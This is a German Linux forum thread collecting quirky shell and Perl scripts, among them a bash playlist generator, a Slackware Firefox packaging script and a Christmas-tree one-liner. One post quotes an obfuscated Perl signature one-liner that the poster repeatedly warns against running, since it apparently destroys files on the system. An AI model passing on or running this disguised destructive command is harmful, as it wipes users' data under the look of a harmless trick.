BlackBoard » Computerecke » Betriebssysteme » Weird Scripting Corner » Hallo Gast [Anmelden|Registrieren]
Letzter Beitrag | Erster ungelesener Beitrag Druckvorschau | An Freund senden | Thema zu Favoriten hinzufügen
Neues Thema erstellen Antwort erstellen
Zum Ende der Seite springen Weird Scripting Corner
Autor
Beitrag « Vorheriges Thema | Nächstes Thema »
Black Star Black Star ist männlich
Der Pate [Admin]


images/avatars/avatar-2158.jpg

Dabei seit: 11.12.2001
Beiträge: 2.282
Herkunft: /dev/stderr

Weird Scripting Corner       Zum Anfang der Seite springen

Hier koennt ihr eure abgefahrensten Shell-Scripte posten.
Sinn und Zweck ist egal, hauptsache es sieht richtig freakig aus smile

Dahinter steckt, dass jeder mal sehen kann zu was die *nix-Shells mit ihren vielen Werkzeugen faehig sind. Auch kann man sich, sobald sich hier mal einiges angesammelt hat, Bausteine fuer seine eigenen Scripte zusammensuchen, da viele Ideen/Tricks doch relativ haeufig auftreten.

Falls ihr Bash-3 oder perl oder sonst was fuer neue Tools verwenden solltet, dann schreibt es fett dran, damit keiner wahnsinnig wird, falls was nicht klappt.

Ein Post pro Script, bitte keine Fragen in diesem Thread. Schreibt kurz dran, was das soll und mit welchen Tricks ihr das Problem geloest habt. Doppelposts sind also zulaessig, wenn ihr zwei sinnvolle Scripte auf einmal vorstellt.
Bitte den Quellcode nicht uebermaessig kommentieren, da es die Lesbarkeit stoert und das freakige Aussehen von Shell-Scripten zerstoert großes Grinsen
Shell-Scripte muessen kryptisch aussehen und einen verwirren *fg*

Ich werde in diesem Post eine Art Inhaltsverzeichnis der bemerkenswerten Scripte erstellen.
  • m3u-Creator von Black Star - verwendet: bash, sed, find, grep, for-schleife


Nochmal: Bitte keine Fragen in diesem Thread - nur Scripte!
Fragen koennen im Support-Thread zu diesem Thread gestellt werden, damit die Scripte halbwegs kompakt beisammen sind und nicht dauernd von Fragen unterbrochen werden.

__________________
vescere bracis meis

19.12.2004 23:06 Black Star ist offline E-Mail an Black Star senden Homepage von Black Star Beiträge von Black Star suchen
phlox81 phlox81 ist männlich
Bote des Lichts und Moderator


images/avatars/avatar-2264.jpg

Dabei seit: 19.10.2002
Beiträge: 3.028
Herkunft: Irgendwo im Nirgendwo

      Zum Anfang der Seite springen

nicht von mir, aber freakig...

ein gentoo installskript, - wohl von mir ungetestet -

http://volkard.de/gentoo/

__________________
Intelligenz ist eine Illusion des Menschen

phlox81.de | codenode.de
19.12.2004 23:25 phlox81 ist offline E-Mail an phlox81 senden Homepage von phlox81 Beiträge von phlox81 suchen
Black Star Black Star ist männlich
Der Pate [Admin]


images/avatars/avatar-2158.jpg

Dabei seit: 11.12.2001
Beiträge: 2.282
Herkunft: /dev/stderr

Themenstarter Thema begonnen von Black Star
      Zum Anfang der Seite springen

Dann habe ich auch gleich das erste Script im Angebot: Einen Playlist-Generator.

Ich habe meine mp3/ogg-Datein in einem Verzichnisbaum in der Form /<pfad zum verzeichnis>/<Anfangsbuchstabe der Band>/<Band>/<Album>[/<CD1,2,...>]
In einem anderen Verzeichnis sollen Playslists der Form <Band> - <Album>[ - CD1,2,..].m3u erstellt werden.

Dazu lasse ich eine Schleife ueber alle Verzeichnisse laufen, wobei ich Leerzeichen substituieren muss, da die for-Schleife das Leerzeichen als Seperator benutzt. In der Schleife muessen dann die Leerzeichen zuruecksubstituiert werden.
Dann wird gecheckt, ob dieses Verzichnis mp3 oder ogg-Files enthaelt und eine Playlist erstellt. Dann wird geprueft, ob alles geklappt hat.
Zum Schluss wird eine kleine Statistik ausgegeben.


Vorraussetzungen: keine ungewoehnlichen (bash, find, sed)
Trap: 1) Das find, das die Playlist erstellt, muss durch einen sort gepiped werden, da for ... `find ....` nicht sortiert ist. Die Dateinamen muessen also sortierbar sein, ohne dass die Struktur des Albums zerstoert wird, dh. die Dateinamen muessen am Anfang durchnummeriert sein, was allerdings Standard ist.
2) Wer eine andere Struktur verwendet, muss ein paar Sachen anpassen.
In Zeile 26 wird der Dateiname der m3u-Datei erzeugt. Wer Dateibaeume der Form <pfad>/<band>/<album> hat (und nicht wie ich <pfad>/<anfangsbuchstabe>/<band>/<album>), muss beim ersten sed das \/. rausnehmen (der Punkt steht fuer ein beliebiges Zeichen, also hier den Anfangsbuchstaben).
3) Die erste Bedingung (Zeile 18 ) siebt Verzeichnisse aus, die man nicht beruecksichtigen will, bei mir solche die mit einem Leerzeichen anfangen - wers nicht braucht kanns auch rausschmeissen
4) Als Seperator fuer sed habe ich den Doppelpunkt verwendet, da ich einfach mal angenommen habe, dass der am seltensten vorkommt. Falls doch, habt ihr ein ProblemAugenzwinkern

code:
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
#!/bin/bash

# search and output path
media_path=/media/Mp3
m3u_path=.

# init some counters
c_error=0
c_m3u=0
c_m3udamag=0
c_lost=0
c_all=0
c_ok=0
c_dirs=0

for i in `find $media_path -type d | sed "s/ /%%blank%%/g"`; do
	path=`echo $i | sed "s/%%blank%%/ /g"`;
	[ `echo $path | grep -c "$media_path/ "` -eq 1 ] && \
	{
		echo "omitting $path..."
	} || {
		files=`find "$path" -maxdepth 1 -iname '*.mp3' -o -iname '*.ogg' | grep -c ""`
 		[ $files -gt 0 ] && \
 		{
  			echo "found $files files in $path..."
 			filename=`echo $path | sed "s:$media_path\/.\/::" | sed "s:/: - :g" | sed "s:_: :g"` &&
			{
				filename="$m3u_path/$filename.m3u"
				echo ">>> creating $filename..."
				echo "#EXTM3U" > "$filename"
				find "$path" -maxdepth 1 -iname '*.mp3' -o -iname '*.ogg' | sort >> "$filename"
				c_m3u=$(($c_m3u+1))
				echo -n ">>> checking file..."
				c_count=1
				for j in `cat "$filename" | grep -v -e "^#" | sed "s/ /%%blank%%/g"`; do
					file=`echo $j | sed "s/%%blank%%/ /g"`
					[ -e "$file" ] && \
					{ 
						echo -n "$c_count "
						c_ok=$(($c_ok+1))
					} || {
						echo -e "\nLOST FILE: $file"
						c_lost=$(($c_lost+1))
					}
					c_count=$(($c_count+1))
					c_all=$(($c_all+1))
				done
				echo
 			} || {
 				echo "FAILED: could not parse $path!"
 				c_error=$(($c_error+1))
 			}
		} || {
		
			echo "omitting empty path $path..."
		}
	}
	c_dirs=$(($c_dirs+1))
done

echo "done - processed $c_dirs directories, created $c_m3u m3u-files, linked $c_all files, $c_lost files lost, $c_ok files ok, $c_error strange errors"


TODO: id3-tags in die Playlists einbauen.

__________________
vescere bracis meis

19.12.2004 23:26 Black Star ist offline E-Mail an Black Star senden Homepage von Black Star Beiträge von Black Star suchen
Rudolf Rudolf ist männlich
BlackBoarder


Dabei seit: 16.09.2003
Beiträge: 958

      Zum Anfang der Seite springen

code:
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
#!/bin/sh
CWD=`pwd`
TMP=${TMP:-/tmp}
PKG=$TMP/package-mozilla-firefox

# This is not a source build script.  Rather, it builds a Slackware
# package from the official binary tarball available from mozilla.org.
# Using the official binaries seems like the most direct way to satify
# the Mozilla project's concerns about quality control (and thus to
# provide the most quality-certified package possible), and therefore
# be able to use the official trademarks and logos.
#
# Thanks to the folks at the Mozilla Foundation for permission to
# distribute this, and for all the great work!  :)

VERSION=1.0.4
ARCH=${ARCH:-i686}
BUILD=1

if [ ! -d $TMP ]; then
  mkdir -p $TMP
fi
rm -rf $PKG
mkdir -p $PKG/usr/lib
( cd $PKG/usr/lib
  tar xzf $CWD/firefox-$VERSION.tar.gz
  mv firefox firefox-$VERSION
  ln -sf firefox-$VERSION firefox
  cd firefox-$VERSION
  zcat $CWD/mozilla-firefox-simple.diff.gz | patch -p1 --verbose --backup --suffix=.orig
  if [ ! $? = 0 ]; then
    exit 1
  fi
  zcat $CWD/mozilla-firefox-thunderbird.diff.gz | patch -p1 --verbose --suffix=.orig
  if [ ! $? = 0 ]; then
    exit 1
  fi
  rm -f defaults/pref/firefox.js.orig
)
if [ ! $? = 0 ]; then
  exit 1
fi
mkdir -p $PKG/usr/bin
( cd $PKG/usr/bin
  ln -sf /usr/lib/firefox-$VERSION/firefox .
  chown -R root:bin .
)
mkdir -p $PKG/usr/share/applications
cat $CWD/mozilla-firefox.desktop > $PKG/usr/share/applications/mozilla-firefox.desktop
mkdir -p $PKG/usr/share/pixmaps
cat $CWD/firefox.png > $PKG/usr/share/pixmaps/firefox.png
mkdir $PKG/install
cat $CWD/slack-desc > $PKG/install/slack-desc

cd $PKG
makepkg -l y -c n $TMP/mozilla-firefox-$VERSION-$ARCH-$BUILD.tgz


Hier mal ein typisches Slackware Kompilierscript. Augenzwinkern

Es ist also normal, wenn der SuSe User nicht versteht, was hier gemacht wird Augenzwinkern
08.06.2005 22:44 Rudolf ist offline E-Mail an Rudolf senden Homepage von Rudolf Beiträge von Rudolf suchen
PygoscelisPapua PygoscelisPapua ist männlich
BlackBoarder


images/avatars/avatar-2293.png

Dabei seit: 20.12.2003
Beiträge: 1.309
Herkunft: Kiel, Schleswig-Holstein, Germany

      Zum Anfang der Seite springen

Hm... da hab ich auch was eher lustiges... ist nicht von mir - das hatte mal jemand in seiner Signatur auf nem Board, mit dem Hinweis, dass man dieses Skript NICHT benutzen sollte... ich wiederhole es: N I C H T - wer es doch tut, tuts auf eigene Verantwortung und kann weder mich noch den Ersteller dieses Skript für Systemschäden verantwortlich machen.
Die Signatur ist:
Zitat:
perl -e '$??s:;s:s;;$?::s;;=]=<%-{>-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Man sollte nicht alles ausfuehren was man in einer Signature liest.


Sieht extrem freakig aus, und vor allem, sieht man nicht, was es eigentlich tut [und das was es tut, könnte man auch mit einem Befehl ganz leicht ausführen *fg* - also einen tieferen Sinn, außer User nen fiesen Streich spielen, hat das Skript nicht].

Ich sage es nochmal Benutzt dieses Skript N I C H T !


Wer wissen möchte, was das jetzt macht, der schaue hier. Wer jetzt noch n bissln was zum lachen haben möchte, findet des hier.

__________________
There are only two kinds of programming languages: those people always bitch about and those nobody uses.
(Bjarne Stroustrup)
*
Moving on to pastures new
GPG Key

08.06.2005 23:56 PygoscelisPapua ist offline Homepage von PygoscelisPapua Beiträge von PygoscelisPapua suchen
Misel Misel ist männlich
Hüter des Kitkat


images/avatars/avatar-2084.png

Dabei seit: 02.11.2002
Beiträge: 1.203
Herkunft: live://home.berlin.d e

      Zum Anfang der Seite springen

shamelessly plugged from another forum:

code:
1:
perl -e '$n="\e[0;40;32m";for(1..10){print"\ec$n\n".$"x(15)."\e[1;35mY$n" .$"x15;for(1..8){print$/.$"x($a=16-$_);$c=int rand($d=2*$_);for(2..$d){$f=31+int rand(3);print($_-$c?"X":"\e[$f;1m*$n")}print$"x$a}print $/.$"x(31)."\e[0m\n".$"." Merry Christmas ".$/x2;select$q,$q,$q,0.5}'


ja, diesen Code kann man ausführen. Ist aber nicht die korrekte Jahreszeit dafür Augenzwinkern

__________________
LAUFT! Ich spiele KILLERSPIELE!
09.06.2005 10:44 Misel ist offline E-Mail an Misel senden Homepage von Misel Beiträge von Misel suchen
LX LX ist männlich
El Comandante en Jefe


images/avatars/avatar-2290.gif

Dabei seit: 25.11.2001
Beiträge: 5.372
Herkunft: Berliner Bronx

Achtung       Zum Anfang der Seite springen

Auch wenn's dem Sinn dieses Threads irgendwie widerspricht...

code:
1:
vim -c ":%s/^/UryybDJbeyqB:QE-CYK/|:%s/[B-E]/ /Ig|:normal ggVGg?"


__________________
JS-Games.de - Misled Scripting Skills Gone Mad | Meine Filmkritiken | Urban Photography
Kommt mal in den IRC-Channel: irc.eu.freenode.net | Port 6667 | #blackboard

"Ever tried. Ever failed. No matter.
Try again. Fail again. Fail better."
- Samuel Beckett

09.06.2005 14:10 LX ist offline E-Mail an LX senden Homepage von LX Beiträge von LX suchen
Baumstruktur | Brettstruktur
Gehe zu:
Neues Thema erstellen Antwort erstellen
BlackBoard » Computerecke » Betriebssysteme » Weird Scripting Corner

Forensoftware: Burning Board 2.3.6, entwickelt von WoltLab GmbH